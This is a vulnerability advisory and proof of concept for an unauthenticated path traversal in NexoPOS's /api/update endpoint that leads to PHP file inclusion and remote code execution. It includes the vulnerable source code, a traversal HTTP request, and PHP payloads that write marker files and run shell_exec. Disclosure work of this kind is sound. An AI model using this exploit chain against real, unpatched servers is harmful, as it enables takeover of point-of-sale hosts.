
Proof-of-concept and technical advisory for CVE-2026-107092, an unauthenticated path traversal in NexoPOS's /api/update endpoint leading to PHP file inclusion and remote code execution.
| Product | NexoPOS |
|---|---|
| Affected versions | ≤ 6.2.4 |
| Fixed in | 6.3.0 (security-only backport: 6.2.5) |
| Affected component | POST /api/update |
| Vulnerability type | Path Traversal → Arbitrary File Inclusion → Remote Code Execution |
| CWE | CWE-22 (primary), chained with CWE-306, CWE-98, CWE-94, CWE-78 |
| Authentication required | None, for the core vulnerability |
| Status | Reported to the NexoPOS maintainers; fixed in PR #2653; shipped in v6.3.0 |
| CVE ID | CVE-2026-107092 |
| Researcher | Pyur11 | Raiven Ruetas |
| Severity | High (vendor-classified) | 9.8 Critical by CISA-ADP |
NexoPOS's POST /api/update endpoint is used to run database migration files. The route explicitly disables the application's authentication middleware, so it can be reached without any credentials.
The endpoint accepts a migration filename supplied by the client. That filename is concatenated directly onto the application's modules/ directory to build a filesystem path, and the resulting path is passed to PHP's require(). The application does not resolve the path or verify that it stays inside modules/ before including it.
Because of this, a filename containing directory-traversal sequences (../) can cause the loader to step outside modules/ and include a PHP file located anywhere else the web server process can read. Since require() executes PHP code, this results in arbitrary PHP execution under an unauthenticated, publicly reachable endpoint.
Arbitrary PHP execution of this kind is equivalent to full remote code execution: any code reachable by require() runs with the privileges of the PHP/web server process. This was confirmed in testing to extend to arbitrary operating-system command execution and to establishing an outbound shell session, demonstrating that the impact is not limited to a single command but to full interactive access at the privilege level of the web server.
Given an unauthenticated entry point and a High-impact outcome (full compromise of confidentiality, integrity, and availability of the affected host), this issue was assessed as High severity.
1. The route removes authentication:
// routes/api/update.php
Route::post('update', [UpdateController::class, 'runMigration'])
->withoutMiddleware([Authenticate::class, CheckMigrationStatus::class]);
2. The client-supplied filename is forwarded without validation:
// app/Http/Controllers/UpdateController.php
public function runMigration( Request $request )
{
if ( $request->input( 'module' ) ) {
$module = $request->input( 'module' );
foreach ( $module[ 'migrations' ] as $file ) {
$response = $this->modulesService->runMigration(
$module[ 'namespace' ],
$file
);
}
}
return [
'status' => 'success',
'message' => __( 'The migration has successfully run.' ),
];
}
Note that this endpoint always returns a hard-coded "status": "success" regardless of whether a migration actually executed. A 200 OK response is not, by itself, evidence that code ran; this should be accounted for during independent verification or re-testing.
3. The path is built and included with no containment check:
// app/Services/ModulesService.php
private function __runSingleFile(
string $method,
string $namespace,
string $file
): array
{
$filePath = base_path( 'modules' ) . DIRECTORY_SEPARATOR . $file;
// ... class-name derivation omitted ...
if ( is_file( $filePath ) ) {
if ( class_exists( $className ) ) {
return $this->triggerClass( $className, $method );
} else {
$object = require $filePath; // vulnerable sink
// ...
}
}
}
No realpath() resolution is performed, and no check confirms that the resolved path remains inside modules/. A filename such as ../../../../some/other/path.php is therefore sufficient to escape the intended directory.
Testing was performed against a researcher-controlled local NexoPOS installation. No third-party systems or data were accessed.
The unauthenticated migration endpoint accepts a client-supplied filename with no path validation. A relative path from modules/ to a test file placed at /tmp/nexopos-poc.php was used:
POST /api/update HTTP/1.1
Host: nexopos.test
Content-Type: application/json
{
"module": {
"namespace": "test",
"migrations": [
"../../../../does-not-exist"
]
}
}
HTTP/1.1 200 OK
Content-Type: application/json
{
"status": "success",
"message": "The migration has successfully run."
}
Figure 1 — HTTP request/response showing the unauthenticated /api/update endpoint accepting a traversal-style migration filename and returning a hard-coded success response.
The 200 OK / "success" response is not proof of execution — the controller returns this unconditionally regardless of whether a migration actually ran (see Vulnerable Code, step 2). Execution was instead verified independently.
The test file at /tmp/nexopos-poc.php (outside modules/) wrote a unique marker when executed:
<?php
file_put_contents('/tmp/nexopos-traversal-confirmed', 'NEXOPOS_TRAVERSAL_CONFIRMED');
return new class {
public function up() {}
};
Figure 2 — The test PHP file placed outside modules/, with PHP syntax validation confirming it is well-formed before use.
Figure 3 — Marker file present on disk after the request in Figure 1, confirming the traversed file was actually included and executed outside modules/.
Confirming the traversed file was actually included and executed by the request above, independently of the endpoint's always-success response. This demonstrates CWE-22 (Path Traversal) chaining into CWE-98 (PHP File Inclusion).
The same primitive was used to confirm the included PHP executes with the privileges of the web server process, by invoking shell_exec():
<?php
file_put_contents('/tmp/nexopos-rce-marker', shell_exec('id 2>&1'));
return new class {
public function up() {}
};
Figure 4 — Updated payload invoking shell_exec('id 2>&1') from within the included PHP file.
